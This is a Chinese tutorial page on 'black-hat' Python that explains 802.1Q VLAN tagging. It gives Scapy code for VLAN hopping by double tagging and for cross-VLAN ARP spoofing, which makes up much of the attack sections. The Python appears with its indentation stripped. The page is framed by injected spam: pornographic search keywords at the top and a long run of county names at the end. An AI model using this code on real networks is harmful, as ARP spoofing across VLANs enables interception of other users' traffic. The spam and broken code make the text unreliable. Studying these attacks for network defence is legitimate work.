最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

Python黑帽編程 3.4 跨越VLAN詳解

 更新時間:2016年09月28日 08:55:11   作者:玄魂  
VLAN(Virtual Local Area Network),是基于以太網(wǎng)交互技術構建的虛擬網(wǎng)絡,既可以將同一物理網(wǎng)絡劃分成多個VALN,也可以跨越物理網(wǎng)絡障礙,將不同子網(wǎng)中的用戶劃到同一個VLAN中。這篇文章主要介紹了Python黑帽編程 3.4 跨越VLAN 的相關資料,需要的朋友參考下

VLAN(Virtual Local Area Network),是基于以太網(wǎng)交互技術構建的虛擬網(wǎng)絡,既可以將同一物理網(wǎng)絡劃分成多個VALN,也可以跨越物理網(wǎng)絡障礙,將不同子網(wǎng)中的用戶劃到同一個VLAN中。圖2是一個VLAN劃分的例子。

圖2

實現(xiàn)VLAN的方式有很多種,基于交換設備的VLAN劃分,一般有兩種:

l 基于交換機的端口劃分

l 基于IEEE 802.1q協(xié)議,擴展以太網(wǎng)幀格式

基于第二層的VLAN技術,有個Trunking的概念,Trunking是用來在不同的交換機之間進行連接,以保證在跨越多個交換機上建立的同一個VLAN的成員能夠相互通訊。其中交換機之間互聯(lián)用的端口就稱為Trunk端口。除了80.2.1q之外,思科有自己的Trunk協(xié)議叫ISL。

圖3

圖3是802.1q的數(shù)據(jù)包,和普通的以太網(wǎng)幀并沒有本質(zhì)的區(qū)別,只是增加一個了VLAN Tag。紅色部分的VLAN Identifier標識了一個數(shù)據(jù)包屬于哪個VLAN,從而保證了數(shù)據(jù)廣播的范圍不會跨越VLAN。

現(xiàn)在做簡單的思考,想要跨越VLAN通信,是不是只要修改數(shù)據(jù)包中的標識符就可以了呢?

3.4.1 VLAN Hopping

基于上面的分析,我們考慮一個簡單的場景:跨VLANping,從Vlan1的一個主機發(fā)送一個ping請求到Vlan2中的一個主機。

在具體編碼前,我們還是要先解決VLAN數(shù)據(jù)包構造的問題,在Scapy中我們使用Dot1Q類來構造圖3中的Tag部分。如圖4。

圖4

下面我們可以編寫一個跨VLAN的ping請求了。

#!/usr/bin/python 
from scapy.all import * 
packet = Ether(dst="c0:d3:de:ad:be:ef") / \
Dot1Q(vlan=1) / \
Dot1Q(vlan=2) / \
IP(dst="192.168.13.3") / \
ICMP() 
sendp(packet)

上面的代碼我們指定了目標主機的MAC和IP地址,添加了兩個VLAN標識,第一個是發(fā)送數(shù)據(jù)的主機所在的VLAN,第二個是目標主機所在的VLAN。交換機會移除第一個標識,讀到第二個標識的時候,會轉發(fā)該數(shù)據(jù)包到目標主機。

3.4.2 跨VLAN的ARP欺騙

3.1、3.2和3.3節(jié)我們都在討論ARP欺騙的問題,由于VLAN限制了廣播域,我們之前的代碼是無法跨VLAN進行ARP欺騙的。不過要解決這個問題也很簡單,只需在我們之前構造的ARP欺騙數(shù)據(jù)中插入VLAN標識即可。下面這段代碼是我們在3.1節(jié)構造ARP請求數(shù)據(jù)包的代碼。

def build_req():
if options.target is None:
pkt = Ether(src=mac, dst='ff:ff:ff:ff:ff:ff') / ARP(hwsrc=mac, psrc=args[0], pdst=args[0])
elif options.target:
target_mac = getmacbyip(options.target)
if target_mac is None:
print "[-] Error: Could not resolve targets MAC address"
sys.exit(1)
pkt = Ether(src=mac, dst=target_mac) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target)
return pkt

在構造數(shù)據(jù)包的部分,我們插入VLAN標識:

pkt = Ether(src=mac, dst=target_mac) /Dot1Q(vlan=our_vlan) / Dot1Q(vlan=target_vlan) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target)

這樣就可以實現(xiàn)跨VLAN的ARP欺騙了。

3.4.3 小結

本節(jié)主要講了如何構造欺騙VLAN的數(shù)據(jù)包,達到跨VLAN數(shù)據(jù)通信和ARP欺騙的目的。需要注意的是,本文的方法主要針對802.1Q協(xié)議,對以端口進行物理隔離的的VLAN沒有效果。

以上所述是小編給大家介紹的Python黑帽編程 3.4 跨越VLAN詳解,希望對大家有所幫助,如果大家有任何疑問請給我留言,小編會及時回復大家的。在此也非常感謝大家對腳本之家網(wǎng)站的支持!

相關文章

最新評論

静宁县| 冷水江市| 慈溪市| 宁城县| 武城县| 铜川市| 华亭县| 道真| 安图县| 东山县| 石台县| 长寿区| 涪陵区| 湖北省| 南漳县| 滨州市| 剑川县| 尼勒克县| 方正县| 大田县| 新泰市| 巴彦县| 岚皋县| 资兴市| 如东县| 易门县| 云和县| 镇原县| 甘洛县| 郎溪县| 绥德县| 宝清县| 汉寿县| 鄂温| 宁陵县| 勃利县| 色达县| 秦皇岛市| 贵州省| 阳原县| 东兴市|